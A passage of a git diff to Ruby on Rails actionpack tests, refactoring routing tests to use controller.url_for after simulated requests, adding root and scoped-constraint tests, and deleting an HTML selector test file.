rs.draw do
get "/*path", :to => lambda { |env|
- x = JSON.dump env["action_dispatch.request.path_parameters"]
+ x = ActiveSupport::JSON.encode env["action_dispatch.request.path_parameters"]
[200, {}, [x]]
}
end
expected = { "path" => "foo/bar", "format" => "html" }
u = URI('http://example.org/foo/bar.html')
- assert_equal expected, JSON.parse(get(u))
+ assert_equal expected, ActiveSupport::JSON.decode(get(u))
end
def test_optional_star_paths_are_greedy
@@ -185,7 +187,7 @@ class LegacyRouteSetTests < ActiveSupport::TestCase
def test_optional_star_paths_are_greedy_but_not_too_much
rs.draw do
get "/(*filters)", :to => lambda { |env|
- x = JSON.dump env["action_dispatch.request.path_parameters"]
+ x = ActiveSupport::JSON.encode env["action_dispatch.request.path_parameters"]
[200, {}, [x]]
}
end
@@ -193,7 +195,7 @@ class LegacyRouteSetTests < ActiveSupport::TestCase
expected = { "filters" => "ne_27.065938,-80.6092/sw_25.489856,-82",
"format" => "542794" }
u = URI('http://example.org/ne_27.065938,-80.6092/sw_25.489856,-82.542794')
- assert_equal expected, JSON.parse(get(u))
+ assert_equal expected, ActiveSupport::JSON.decode(get(u))
end
def test_regexp_precidence
@@ -242,6 +244,32 @@ class LegacyRouteSetTests < ActiveSupport::TestCase
assert_equal 'clients', get(URI('http://clients.example.org/'))
end
+ def test_scoped_lambda
+ scope_called = false
+ rs.draw do
+ scope '/foo', :constraints => lambda { |req| scope_called = true } do
+ get '/', :to => lambda { |env| [200, {}, %w{default}] }
+ end
+ end
+
+ assert_equal 'default', get(URI('http://www.example.org/foo/'))
+ assert scope_called, "scope constraint should be called"
+ end
+
+ def test_scoped_lambda_with_get_lambda
+ inner_called = false
+
+ rs.draw do
+ scope '/foo', :constraints => lambda { |req| flunk "should not be called" } do
+ get '/', :constraints => lambda { |req| inner_called = true },
+ :to => lambda { |env| [200, {}, %w{default}] }
+ end
+ end
+
+ assert_equal 'default', get(URI('http://www.example.org/foo/'))
+ assert inner_called, "inner constraint should be called"
+ end
+
def test_empty_string_match
rs.draw do
get '/:username', :constraints => { :username => /[^\/]+/ },
@@ -290,11 +318,16 @@ class LegacyRouteSetTests < ActiveSupport::TestCase
assert_equal '/admin/user/show/10', url_for(rs, { :controller => 'admin/user', :action => 'show', :id => 10 })
- assert_equal '/admin/user/show', url_for(rs, { :action => 'show' }, { :controller => 'admin/user', :action => 'list', :id => '10' })
- assert_equal '/admin/user/list/10', url_for(rs, {}, { :controller => 'admin/user', :action => 'list', :id => '10' })
+ get URI('http://test.host/admin/user/list/10')
+
+ assert_equal({ :controller => 'admin/user', :action => 'list', :id => '10' },
+ controller.request.path_parameters)
+
+ assert_equal '/admin/user/show', controller.url_for({ :action => 'show', :only_path => true })
+ assert_equal '/admin/user/list/10', controller.url_for({:only_path => true})
- assert_equal '/admin/stuff', url_for(rs, { :controller => 'stuff' }, { :controller => 'admin/user', :action => 'list', :id => '10' })
- assert_equal '/stuff', url_for(rs, { :controller => '/stuff' }, { :controller => 'admin/user', :action => 'list', :id => '10' })
+ assert_equal '/admin/stuff', controller.url_for({ :controller => 'stuff', :only_path => true })
+ assert_equal '/stuff', controller.url_for({ :controller => '/stuff', :only_path => true })
end
def test_ignores_leading_slash
@@ -418,18 +451,11 @@ class LegacyRouteSetTests < ActiveSupport::TestCase
get 'page' => 'content#show_page', :as => 'pages', :host => 'foo.com'
end
routes = setup_for_named_route
- routes.expects(:url_for).with({
- :host => 'foo.com',
- :only_path => false,
- :controller => 'content',
- :action => 'show_page',
- :use_route => 'pages'
- }).once
- routes.send(:pages_url)
+ assert_equal "http://foo.com/page", routes.pages_url
end
- def setup_for_named_route
- MockController.build(rs.url_helpers).new
+ def setup_for_named_route(options = {})
+ MockController.build(rs.url_helpers, options).new
end
def test_named_route_without_hash
@@ -456,6 +482,32 @@ class LegacyRouteSetTests < ActiveSupport::TestCase
assert_equal("/", routes.send(:root_path))
end
+ def test_named_route_root_with_hash
+ rs.draw do
+ root "hello#index", as: :index
+ end
+
+ routes = setup_for_named_route
+ assert_equal("http://test.host/", routes.send(:index_url))
+ assert_equal("/", routes.send(:index_path))
+ end
+
+ def test_root_without_path_raises_argument_error
+ assert_raises ArgumentError do
+ rs.draw { root nil }
+ end
+ end
+
+ def test_named_route_root_with_trailing_slash
+ rs.draw do
+ root "hello#index"
+ end
+
+ routes = setup_for_named_route(trailing_slash: true)
+ assert_equal("http://test.host/", routes.send(:root_url))
+ assert_equal("http://test.host/?foo=bar", routes.send(:root_url, foo: :bar))
+ end
+
def test_named_route_with_regexps
rs.draw do
get 'page/:year/:month/:day/:title' => 'page#show', :as => 'article',
@@ -472,9 +524,10 @@ class LegacyRouteSetTests < ActiveSupport::TestCase
def test_changing_controller
rs.draw { get ':controller/:action/:id' }
+ get URI('http://test.host/admin/user/index/10')
+
assert_equal '/admin/stuff/show/10',
- url_for(rs, {:controller => 'stuff', :action => 'show', :id => 10},
- {:controller => 'admin/user', :action => 'index'})
+ controller.url_for({:controller => 'stuff', :action => 'show', :id => 10, :only_path => true})
end
def test_paths_escaped
@@ -533,8 +586,12 @@ class LegacyRouteSetTests < ActiveSupport::TestCase
get '*path' => 'content#show_file'
end
+ get URI('http://test.host/pages/boo')
+ assert_equal({:controller=>"content", :action=>"show_file", :path=>"pages/boo"},
+ controller.request.path_parameters)
+
assert_equal '/pages/boo',
- url_for(rs, {}, { :controller => 'content', :action => 'show_file', :path => %w(pages boo) })
+ controller.url_for(:only_path => true)
end
def test_backwards
@@ -543,7 +600,8 @@ class LegacyRouteSetTests < ActiveSupport::TestCase
get ':controller(/:action(/:id))'
end
- assert_equal '/page/20', url_for(rs, { :id => 20 }, { :controller => 'pages', :action => 'show' })
+ get URI('http://test.host/pages/show')
+ assert_equal '/page/20', controller.url_for({ :id => 20, :only_path => true })
assert_equal '/page/20', url_for(rs, { :controller => 'pages', :id => 20, :action => 'show' })
assert_equal '/pages/boo', url_for(rs, { :controller => 'pages', :action => 'boo' })
end
@@ -584,7 +642,8 @@ class LegacyRouteSetTests < ActiveSupport::TestCase
def test_action_expiry
rs.draw { get ':controller(/:action(/:id))' }
- assert_equal '/content', url_for(rs, { :controller => 'content' }, { :controller => 'content', :action => 'show' })
+ get URI('http://test.host/content/show')
+ assert_equal '/content', controller.url_for(:controller => 'content', :only_path => true)
end
def test_requirement_should_prevent_optional_id
@@ -627,14 +686,18 @@ class LegacyRouteSetTests < ActiveSupport::TestCase
assert_equal '/pages/2005/6/12',
url_for(rs, { :controller => 'content', :action => 'list_pages', :year => 2005, :month => 6, :day => 12 })
+ get URI('http://test.host/pages/2005/6/12')
+ assert_equal({ :controller => 'content', :action => 'list_pages', :year => '2005', :month => '6', :day => '12' },
+ controller.request.path_parameters)
+
assert_equal '/pages/2005/6/4',
- url_for(rs, { :day => 4 }, { :controller => 'content', :action => 'list_pages', :year => '2005', :month => '6', :day => '12' })
+ controller.url_for({ :day => 4, :only_path => true })
assert_equal '/pages/2005/6',
- url_for(rs, { :day => nil }, { :controller => 'content', :action => 'list_pages', :year => '2005', :month => '6', :day => '12' })
+ controller.url_for({ :day => nil, :only_path => true })
assert_equal '/pages/2005',
- url_for(rs, { :day => nil, :month => nil }, { :controller => 'content', :action => 'list_pages', :year => '2005', :month => '6', :day => '12' })
+ controller.url_for({ :day => nil, :month => nil, :only_path => true })
end
def test_root_url_generation_with_controller_and_action
@@ -689,17 +752,13 @@ class LegacyRouteSetTests < ActiveSupport::TestCase
def setup_request_method_routes_for(method)
rs.draw do
- match '/match' => 'books#get', :via => :get
- match '/match' => 'books#post', :via => :post
- match '/match' => 'books#put', :via => :put
- match '/match' => 'books#patch', :via => :patch
- match '/match' => 'books#delete', :via => :delete
+ match '/match' => "books##{method}", :via => method.to_sym
end
end
%w(GET PATCH POST PUT DELETE).each do |request_method|
define_method("test_request_method_recognized_with_#{request_method}") do
- setup_request_method_routes_for(request_method)
+ setup_request_method_routes_for(request_method.downcase)
params = rs.recognize_path("/match", :method => request_method)
assert_equal request_method.downcase, params[:action]
end
@@ -796,9 +855,15 @@ end
class RouteSetTest < ActiveSupport::TestCase
include RoutingTestHelpers
+ include ActionDispatch::RoutingVerbs
+
+ attr_reader :set
+ alias :routes :set
+ attr_accessor :controller
- def set
- @set ||= ROUTING::RouteSet.new
+ def setup
+ super
+ @set = make_set
end
def request
@@ -819,13 +884,13 @@ class RouteSetTest < ActiveSupport::TestCase
set.draw { get ':controller/(:action(/:id))' }
path, extras = set.generate_extras(:controller => "foo", :action => "bar", :id => 15, :this => "hello", :that => "world")
assert_equal "/foo/bar/15", path
- assert_equal %w(that this), extras.map { |e| e.to_s }.sort
+ assert_equal %w(that this), extras.map(&:to_s).sort
end
def test_extra_keys
set.draw { get ':controller/:action/:id' }
extras = set.extra_keys(:controller => "foo", :action => "bar", :id => 15, :this => "hello", :that => "world")
- assert_equal %w(that this), extras.map { |e| e.to_s }.sort
+ assert_equal %w(that this), extras.map(&:to_s).sort
end
def test_generate_extras_not_first
@@ -835,7 +900,7 @@ class RouteSetTest < ActiveSupport::TestCase
end
path, extras = set.generate_extras(:controller => "foo", :action => "bar", :id => 15, :this => "hello", :that => "world")
assert_equal "/foo/bar/15", path
- assert_equal %w(that this), extras.map { |e| e.to_s }.sort
+ assert_equal %w(that this), extras.map(&:to_s).sort
end
def test_generate_not_first
@@ -853,7 +918,7 @@ class RouteSetTest < ActiveSupport::TestCase
get ':controller/:action/:id'
end
extras = set.extra_keys(:controller => "foo", :action => "bar", :id => 15, :this => "hello", :that => "world")
- assert_equal %w(that this), extras.map { |e| e.to_s }.sort
+ assert_equal %w(that this), extras.map(&:to_s).sort
end
def test_draw
@@ -882,12 +947,13 @@ class RouteSetTest < ActiveSupport::TestCase
assert_equal set.routes.first, set.named_routes[:hello]
end
- def test_earlier_named_routes_take_precedence
- set.draw do
- get '/hello/world' => 'a#b', :as => 'hello'
- get '/hello' => 'a#b', :as => 'hello'
+ def test_duplicate_named_route_raises_rather_than_pick_precedence
+ assert_raise ArgumentError do
+ set.draw do
+ get '/hello/world' => 'a#b', :as => 'hello'
+ get '/hello' => 'a#b', :as => 'hello'
+ end
end
- assert_equal set.routes.first, set.named_routes[:hello]
end
def setup_named_route_test
@@ -898,7 +964,8 @@ class RouteSetTest < ActiveSupport::TestCase
get '/admin/users' => 'admin/users#index', :as => "users"
end
- MockController.build(set.url_helpers).new
+ get URI('http://test.host/people')
+ controller
end
def test_named_route_url_method
@@ -934,6 +1001,9 @@ class RouteSetTest < ActiveSupport::TestCase
assert_equal "http://test.host/people?baz=bar#location",
controller.send(:index_url, :baz => "bar", :anchor => 'location')
+
+ assert_equal "http://test.host/people", controller.send(:index_url, anchor: nil)
+ assert_equal "http://test.host/people", controller.send(:index_url, anchor: false)
end
def test_named_route_url_method_with_port
@@ -995,12 +1065,12 @@ class RouteSetTest < ActiveSupport::TestCase
get '/:controller(/:action(/:id))'
end
- assert_equal({:controller => 'pages', :action => 'index'}, set.recognize_path('/pages'))
- assert_equal({:controller => 'pages', :action => 'index'}, set.recognize_path('/pages/index'))
- assert_equal({:controller => 'pages', :action => 'list'}, set.recognize_path('/pages/list'))
+ assert_equal({:controller => 'pages', :action => 'index'}, request_path_params('/pages'))
+ assert_equal({:controller => 'pages', :action => 'index'}, request_path_params('/pages/index'))
+ assert_equal({:controller => 'pages', :action => 'list'}, request_path_params('/pages/list'))
- assert_equal({:controller => 'pages', :action => 'show', :id => '10'}, set.recognize_path('/pages/show/10'))
- assert_equal({:controller => 'pages', :action => 'show', :id => '10'}, set.recognize_path('/page/10'))
+ assert_equal({:controller => 'pages', :action => 'show', :id => '10'}, request_path_params('/pages/show/10'))
+ assert_equal({:controller => 'pages', :action => 'show', :id => '10'}, request_path_params('/page/10'))
end
def test_route_constraints_on_request_object_with_anchors_are_valid
@@ -1052,9 +1122,7 @@ class RouteSetTest < ActiveSupport::TestCase
get "/people" => "missing#index"
end
- assert_raise(ActionController::RoutingError) {
- set.recognize_path("/people", :method => :get)
- }
+ assert_raises(ActionController::RoutingError) { request_path_params '/people' }
end
def test_recognize_with_encoded_id_and_regex
@@ -1062,8 +1130,8 @@ class RouteSetTest < ActiveSupport::TestCase
get 'page/:id' => 'pages#show', :id => /[a-zA-Z0-9\+]+/
end
- assert_equal({:controller => 'pages', :action => 'show', :id => '10'}, set.recognize_path('/page/10'))
- assert_equal({:controller => 'pages', :action => 'show', :id => 'hello+world'}, set.recognize_path('/page/hello+world'))
+ assert_equal({:controller => 'pages', :action => 'show', :id => '10'}, request_path_params('/page/10'))
+ assert_equal({:controller => 'pages', :action => 'show', :id => 'hello+world'}, request_path_params('/page/hello+world'))
end
def test_recognize_with_http_methods
@@ -1076,40 +1144,40 @@ class RouteSetTest < ActiveSupport::TestCase
delete "/people/:id" => "people#destroy"
end
- params = set.recognize_path("/people", :method => :get)
+ params = request_path_params("/people", :method => :get)
assert_equal("index", params[:action])
- params = set.recognize_path("/people", :method => :post)
+ params = request_path_params("/people", :method => :post)
assert_equal("create", params[:action])
- params = set.recognize_path("/people/5", :method => :put)
+ params = request_path_params("/people/5", :method => :put)
assert_equal("update", params[:action])
- params = set.recognize_path("/people/5", :method => :patch)
+ params = request_path_params("/people/5", :method => :patch)
assert_equal("update", params[:action])
assert_raise(ActionController::UnknownHttpMethod) {
- set.recognize_path("/people", :method => :bacon)
+ request_path_params("/people", :method => :bacon)
}
- params = set.recognize_path("/people/5", :method => :get)
+ params = request_path_params("/people/5", :method => :get)
assert_equal("show", params[:action])
assert_equal("5", params[:id])
- params = set.recognize_path("/people/5", :method => :put)
+ params = request_path_params("/people/5", :method => :put)
assert_equal("update", params[:action])
assert_equal("5", params[:id])
- params = set.recognize_path("/people/5", :method => :patch)
+ params = request_path_params("/people/5", :method => :patch)
assert_equal("update", params[:action])
assert_equal("5", params[:id])
- params = set.recognize_path("/people/5", :method => :delete)
+ params = request_path_params("/people/5", :method => :delete)
assert_equal("destroy", params[:action])
assert_equal("5", params[:id])
assert_raise(ActionController::RoutingError) {
- set.recognize_path("/people/5", :method => :post)
+ request_path_params("/people/5", :method => :post)
}
end
@@ -1119,11 +1187,11 @@ class RouteSetTest < ActiveSupport::TestCase
root :to => "people#index"
end
- params = set.recognize_path("/people", :method => :get)
+ params = request_path_params("/people", :method => :get)
assert_equal("people", params[:controller])
assert_equal("index", params[:action])
- params = set.recognize_path("/", :method => :get)
+ params = request_path_params("/", :method => :get)
assert_equal("people", params[:controller])
assert_equal("index", params[:action])
end
@@ -1134,7 +1202,7 @@ class RouteSetTest < ActiveSupport::TestCase
:year => /\d{4}/, :day => /\d{1,2}/, :month => /\d{1,2}/
end
- params = set.recognize_path("/articles/2005/11/05/a-very-interesting-article", :method => :get)
+ params = request_path_params("/articles/2005/11/05/a-very-interesting-article", :method => :get)
assert_equal("permalink", params[:action])
assert_equal("2005", params[:year])
assert_equal("11", params[:month])
@@ -1148,7 +1216,7 @@ class RouteSetTest < ActiveSupport::TestCase
get '/profile' => 'profile#index'
end
- set.recognize_path("/profile") rescue nil
+ request_path_params("/profile") rescue nil
assert !Object.const_defined?("Profiler__"), "Profiler should not be loaded"
end
@@ -1161,17 +1229,17 @@ class RouteSetTest < ActiveSupport::TestCase
get "people/:id(.:format)" => "people#show"
end
- params = set.recognize_path("/people/5", :method => :get)
+ params = request_path_params("/people/5", :method => :get)
assert_equal("show", params[:action])
assert_equal("5", params[:id])
- params = set.recognize_path("/people/5", :method => :put)
+ params = request_path_params("/people/5", :method => :put)
assert_equal("update", params[:action])
- params = set.recognize_path("/people/5", :method => :patch)
+ params = request_path_params("/people/5", :method => :patch)
assert_equal("update", params[:action])
- params = set.recognize_path("/people/5.png", :method => :get)
+ params = request_path_params("/people/5.png", :method => :get)
assert_equal("show", params[:action])
assert_equal("5", params[:id])
assert_equal("png", params[:format])
@@ -1190,7 +1258,7 @@ class RouteSetTest < ActiveSupport::TestCase
def test_root_map
set.draw { root :to => 'people#index' }
- params = set.recognize_path("", :method => :get)
+ params = request_path_params("", :method => :get)
assert_equal("people", params[:controller])
assert_equal("index", params[:action])
end
@@ -1204,7 +1272,7 @@ class RouteSetTest < ActiveSupport::TestCase
end
- params = set.recognize_path("/api/inventory", :method => :get)
+ params = request_path_params("/api/inventory", :method => :get)
assert_equal("api/products", params[:controller])
assert_equal("inventory", params[:action])
end
@@ -1216,7 +1284,7 @@ class RouteSetTest < ActiveSupport::TestCase
end
end
- params = set.recognize_path("/api", :method => :get)
+ params = request_path_params("/api", :method => :get)
assert_equal("api/products", params[:controller])
assert_equal("index", params[:action])
end
@@ -1228,7 +1296,7 @@ class RouteSetTest < ActiveSupport::TestCase
end
end
- params = set.recognize_path("/prefix/inventory", :method => :get)
+ params = request_path_params("/prefix/inventory", :method => :get)
assert_equal("api/products", params[:controller])
assert_equal("inventory", params[:action])
end
@@ -1240,38 +1308,36 @@ class RouteSetTest < ActiveSupport::TestCase
end
end
- params = set.recognize_path("/inventory", :method => :get)
+ params = request_path_params("/inventory", :method => :get)
assert_equal("api/products", params[:controller])
assert_equal("inventory", params[:action])
end
- def test_generate_changes_controller_module
- set.draw { get ':controller/:action/:id' }
- current = { :controller => "bling/bloop", :action => "bap", :id => 9 }
-
- assert_equal "/foo/bar/baz/7",
- url_for(set, { :controller => "foo/bar", :action => "baz", :id => 7 }, current)
- end
-
def test_id_is_sticky_when_it_ought_to_be
+ @set = make_set false
+
set.draw do
get ':controller/:id/:action'
end
- url = url_for(set, { :action => "destroy" }, { :controller => "people", :action => "show", :id => "7" })
- assert_equal "/people/7/destroy", url
+ get URI('http://test.host/people/7/show')
+
+ assert_equal "/people/7/destroy", controller.url_for(:action => 'destroy', :only_path => true)
end
def test_use_static_path_when_possible
+ @set = make_set false
+
set.draw do
get 'about' => "welcome#about"
get ':controller/:action/:id'
end
- url = url_for(set, { :controller => "welcome", :action => "about" },
- { :controller => "welcome", :action => "get", :id => "7" })
+ get URI('http://test.host/welcom/get/7')
- assert_equal "/about", url
+ assert_equal "/about", controller.url_for(:controller => 'welcome',
+ :action => 'about',
+ :only_path => true)
end
def test_generate
@@ -1306,38 +1372,51 @@ class RouteSetTest < ActiveSupport::TestCase
end
def test_named_routes_are_never_relative_to_modules
+ @set = make_set false
+
set.draw do
get "/connection/manage(/:action)" => 'connection/manage#index'
get "/connection/connection" => "connection/connection#index"
get '/connection' => 'connection#index', :as => 'family_connection'
end
- url = url_for(set, { :controller => "connection" }, { :controller => 'connection/manage' })
+ assert_equal({ :controller => 'connection/manage',
+ :action => 'index', }, request_path_params('/connection/manage'))
+
+ url = controller.url_for({ :controller => "connection", :only_path => true })
assert_equal "/connection/connection", url
- url = url_for(set, { :use_route => :family_connection, :controller => "connection" }, { :controller => 'connection/manage' })
+ url = controller.url_for({ :use_route => "family_connection",
+ :controller => "connection", :only_path => true })
assert_equal "/connection", url
end
def test_action_left_off_when_id_is_recalled
+ @set = make_set false
+
set.draw do
get ':controller(/:action(/:id))'
end
- assert_equal '/books', url_for(set,
- {:controller => 'books', :action => 'index'},
- {:controller => 'books', :action => 'show', :id => '10'}
- )
+
+ get URI('http://test.host/books/show/10')
+
+ assert_equal '/books', controller.url_for(:controller => 'books',
+ :only_path => true,
+ :action => 'index')
end
def test_query_params_will_be_shown_when_recalled
+ @set = make_set false
+
set.draw do
get 'show_weblog/:parameter' => 'weblog#show'
get ':controller(/:action(/:id))'
end
- assert_equal '/weblog/edit?parameter=1', url_for(set,
- {:action => 'edit', :parameter => 1},
- {:controller => 'weblog', :action => 'show', :parameter => 1}
- )
+
+ get URI('http://test.host/weblog/show/1')
+
+ assert_equal '/weblog/edit?parameter=1', controller.url_for(
+ {:action => 'edit', :parameter => 1, :only_path => true})
end
def test_format_is_not_inherit
@@ -1345,22 +1424,30 @@ class RouteSetTest < ActiveSupport::TestCase
get '/posts(.:format)' => 'posts#index'
end
- assert_equal '/posts', url_for(set,
- {:controller => 'posts'},
- {:controller => 'posts', :action => 'index', :format => 'xml'}
- )
+ get URI('http://test.host/posts.xml')
+ assert_equal({:controller => 'posts', :action => 'index', :format => 'xml'},
+ controller.request.path_parameters)
- assert_equal '/posts.xml', url_for(set,
- {:controller => 'posts', :format => 'xml'},
- {:controller => 'posts', :action => 'index', :format => 'xml'}
- )
+ assert_equal '/posts', controller.url_for(
+ {:controller => 'posts', :only_path => true})
+
+ assert_equal '/posts.xml', controller.url_for(
+ {:controller => 'posts', :format => 'xml', :only_path => true})
end
def test_expiry_determination_should_consider_values_with_to_param
+ @set = make_set false
+
set.draw { get 'projects/:project_id/:controller/:action' }
- assert_equal '/projects/1/weblog/show', url_for(set,
- { :action => 'show', :project_id => 1 },
- { :controller => 'weblog', :action => 'show', :project_id => '1' })
+
+ get URI('http://test.host/projects/1/weblog/show')
+
+ assert_equal(
+ { :controller => 'weblog', :action => 'show', :project_id => '1' },
+ controller.request.path_parameters)
+
+ assert_equal '/projects/1/weblog/show',
+ controller.url_for({ :action => 'show', :project_id => 1, :only_path => true })
end
def test_named_route_in_nested_resource
@@ -1563,7 +1650,6 @@ class RouteSetTest < ActiveSupport::TestCase
end
def test_slashes_are_implied
- @set = nil
set.draw { get("/:controller(/:action(/:id))") }
assert_equal '/content', url_for(set, { :controller => 'content', :action => 'index' })
@@ -1661,7 +1747,43 @@ class RouteSetTest < ActiveSupport::TestCase
assert_equal '/ibocorp', url_for(set, { :controller => 'ibocorp', :action => "show", :page => 1 })
end
+ include ActionDispatch::RoutingVerbs
+
+ class TestSet < ROUTING::RouteSet
+ def initialize(block)
+ @block = block
+ super()
+ end
+
+ class Dispatcher < ROUTING::RouteSet::Dispatcher
+ def initialize(defaults, set, block)
+ super(defaults)
+ @block = block
+ @set = set
+ end
+
+ def controller_reference(controller_param)
+ block = @block
+ set = @set
+ Class.new(ActionController::Base) {
+ include set.url_helpers
+ define_method(:process) { |name| block.call(self) }
+ def to_a; [200, {}, []]; end
+ }
+ end
+ end
+
+ def dispatcher defaults
+ TestSet::Dispatcher.new defaults, self, @block
+ end
+ end
+
+ alias :routes :set
+
def test_generate_with_optional_params_recalls_last_request
+ controller = nil
+ @set = TestSet.new ->(c) { controller = c }
+
set.draw do
get "blog/", :controller => "blog", :action => "index"
@@ -1676,23 +1798,29 @@ class RouteSetTest < ActiveSupport::TestCase
get "*anything", :controller => "blog", :action => "unknown_request"
end
- assert_equal({:controller => "blog", :action => "index"}, set.recognize_path("/blog"))
- assert_equal({:controller => "blog", :action => "show", :id => "123"}, set.recognize_path("/blog/show/123"))
- assert_equal({:controller => "blog", :action => "show_date", :year => "2004", :day => nil, :month => nil }, set.recognize_path("/blog/2004"))
- assert_equal({:controller => "blog", :action => "show_date", :year => "2004", :month => "12", :day => nil }, set.recognize_path("/blog/2004/12"))
- assert_equal({:controller => "blog", :action => "show_date", :year => "2004", :month => "12", :day => "25"}, set.recognize_path("/blog/2004/12/25"))
- assert_equal({:controller => "articles", :action => "edit", :id => "123"}, set.recognize_path("/blog/articles/edit/123"))
- assert_equal({:controller => "articles", :action => "show_stats"}, set.recognize_path("/blog/articles/show_stats"))
- assert_equal({:controller => "blog", :action => "unknown_request", :anything => "blog/wibble"}, set.recognize_path("/blog/wibble"))
- assert_equal({:controller => "blog", :action => "unknown_request", :anything => "junk"}, set.recognize_path("/junk"))
+ recognize_path = ->(path) {
+ get(URI("http://example.org" + path))
+ controller.request.path_parameters
+ }
+
+ assert_equal({:controller => "blog", :action => "index"}, recognize_path.("/blog"))
+ assert_equal({:controller => "blog", :action => "show", :id => "123"}, recognize_path.("/blog/show/123"))
+ assert_equal({:controller => "blog", :action => "show_date", :year => "2004", :day => nil, :month => nil }, recognize_path.("/blog/2004"))
+ assert_equal({:controller => "blog", :action => "show_date", :year => "2004", :month => "12", :day => nil }, recognize_path.("/blog/2004/12"))
+ assert_equal({:controller => "blog", :action => "show_date", :year => "2004", :month => "12", :day => "25"}, recognize_path.("/blog/2004/12/25"))
+ assert_equal({:controller => "articles", :action => "edit", :id => "123"}, recognize_path.("/blog/articles/edit/123"))
+ assert_equal({:controller => "articles", :action => "show_stats"}, recognize_path.("/blog/articles/show_stats"))
+ assert_equal({:controller => "blog", :action => "unknown_request", :anything => "blog/wibble"}, recognize_path.("/blog/wibble"))
+ assert_equal({:controller => "blog", :action => "unknown_request", :anything => "junk"}, recognize_path.("/junk"))
+
+ get URI('http://example.org/blog/2006/07/28')
- last_request = set.recognize_path("/blog/2006/07/28").freeze
- assert_equal({:controller => "blog", :action => "show_date", :year => "2006", :month => "07", :day => "28"}, last_request)
- assert_equal("/blog/2006/07/25", url_for(set, { :day => 25 }, last_request))
- assert_equal("/blog/2005", url_for(set, { :year => 2005 }, last_request))
- assert_equal("/blog/show/123", url_for(set, { :action => "show" , :id => 123 }, last_request))
- assert_equal("/blog/2006", url_for(set, { :year => 2006 }, last_request))
- assert_equal("/blog/2006", url_for(set, { :year => 2006, :month => nil }, last_request))
+ assert_equal({:controller => "blog", :action => "show_date", :year => "2006", :month => "07", :day => "28"}, controller.request.path_parameters)
+ assert_equal("/blog/2006/07/25", controller.url_for({ :day => 25, :only_path => true }))
+ assert_equal("/blog/2005", controller.url_for({ :year => 2005, :only_path => true }))
+ assert_equal("/blog/show/123", controller.url_for({ :action => "show" , :id => 123, :only_path => true }))
+ assert_equal("/blog/2006", controller.url_for({ :year => 2006, :only_path => true }))
+ assert_equal("/blog/2006", controller.url_for({ :year => 2006, :month => nil, :only_path => true }))
end
private
@@ -1765,6 +1893,9 @@ class RackMountIntegrationTests < ActiveSupport::TestCase
root :to => "news#index"
}
+ attr_reader :routes
+ attr_reader :controller
+
def setup
@routes = ActionDispatch::Routing::RouteSet.new
@routes.draw(&Mapping)
@@ -1809,11 +1940,11 @@ class RackMountIntegrationTests < ActiveSupport::TestCase
assert_equal({:controller => 'foo', :action => 'id_default', :id => 1 }, @routes.recognize_path('/id_default'))
assert_equal({:controller => 'foo', :action => 'get_or_post'}, @routes.recognize_path('/get_or_post', :method => :get))
assert_equal({:controller => 'foo', :action => 'get_or_post'}, @routes.recognize_path('/get_or_post', :method => :post))
- assert_raise(ActionController::ActionControllerError) { @routes.recognize_path('/get_or_post', :method => :put) }
- assert_raise(ActionController::ActionControllerError) { @routes.recognize_path('/get_or_post', :method => :delete) }
+ assert_raise(ActionController::RoutingError) { @routes.recognize_path('/get_or_post', :method => :put) }
+ assert_raise(ActionController::RoutingError) { @routes.recognize_path('/get_or_post', :method => :delete) }
assert_equal({:controller => 'posts', :action => 'index', :optional => 'bar'}, @routes.recognize_path('/optional/bar'))
- assert_raise(ActionController::ActionControllerError) { @routes.recognize_path('/optional') }
+ assert_raise(ActionController::RoutingError) { @routes.recognize_path('/optional') }
assert_equal({:controller => 'posts', :action => 'show', :id => '1', :ws => true}, @routes.recognize_path('/ws/posts/show/1', :method => :get))
assert_equal({:controller => 'posts', :action => 'list', :ws => true}, @routes.recognize_path('/ws/posts/list', :method => :get))
@@ -1881,6 +2012,10 @@ class RackMountIntegrationTests < ActiveSupport::TestCase
assert_equal({:controller => 'news', :action => 'index'}, @routes.recognize_path(URI.parser.escape('ã“ã‚“ã«ã¡ã¯/世界'), :method => :get))
end
+ def test_downcased_unicode_path
+ assert_equal({:controller => 'news', :action => 'index'}, @routes.recognize_path(URI.parser.escape('ã“ã‚“ã«ã¡ã¯/世界').downcase, :method => :get))
+ end
+
private
def sort_extras!(extras)
if extras.length == 2
@@ -1888,11 +2023,4 @@ class RackMountIntegrationTests < ActiveSupport::TestCase
end
extras
end
-
- def assert_raise(e)
- result = yield
- flunk "Did not raise #{e}, but returned #{result.inspect}"
- rescue e
- assert true
- end
end
diff --git a/actionpack/test/controller/selector_test.rb b/actionpack/test/controller/selector_test.rb
deleted file mode 100644
index 1e80c8601c..0000000000
--- a/actionpack/test/controller/selector_test.rb
+++ /dev/null
@@ -1,629 +0,0 @@
-#--
-# Copyright (c) 2006 Assaf Arkin (http://labnotes.org)
-# Under MIT and/or CC By license.
-#++
-
-require 'abstract_unit'
-require 'controller/fake_controllers'
-require 'action_view/vendor/html-scanner'
-
-class SelectorTest < ActiveSupport::TestCase
- #
- # Basic selector: element, id, class, attributes.
- #
-
- def test_element
- parse(%Q{<div id="1"></div><p></p><div id="2"></div>})
- # Match element by name.
- select("div")
- assert_equal 2, @matches.size
- assert_equal "1", @matches[0].attributes["id"]
- assert_equal "2", @matches[1].attributes["id"]
- # Not case sensitive.
- select("DIV")
- assert_equal 2, @matches.size
- assert_equal "1", @matches[0].attributes["id"]
- assert_equal "2", @matches[1].attributes["id"]
- # Universal match (all elements).
- select("*")
- assert_equal 3, @matches.size
- assert_equal "1", @matches[0].attributes["id"]
- assert_equal nil, @matches[1].attributes["id"]
- assert_equal "2", @matches[2].attributes["id"]
- end
-
-
- def test_identifier
- parse(%Q{<div id="1"></div><p></p><div id="2"></div>})
- # Match element by ID.
- select("div#1")
- assert_equal 1, @matches.size
- assert_equal "1", @matches[0].attributes["id"]
- # Match element by ID, substitute value.
- select("div#?", 2)
- assert_equal 1, @matches.size
- assert_equal "2", @matches[0].attributes["id"]
- # Element name does not match ID.
- select("p#?", 2)
- assert_equal 0, @matches.size
- # Use regular expression.
- select("#?", /\d/)
- assert_equal 2, @matches.size
- end
-
-
- def test_class_name
- parse(%Q{<div id="1" class=" foo "></div><p id="2" class=" foo bar "></p><div id="3" class="bar"></div>})
- # Match element with specified class.
- select("div.foo")
- assert_equal 1, @matches.size
- assert_equal "1", @matches[0].attributes["id"]
- # Match any element with specified class.
- select("*.foo")
- assert_equal 2, @matches.size
- assert_equal "1", @matches[0].attributes["id"]
- assert_equal "2", @matches[1].attributes["id"]
- # Match elements with other class.
- select("*.bar")
- assert_equal 2, @matches.size
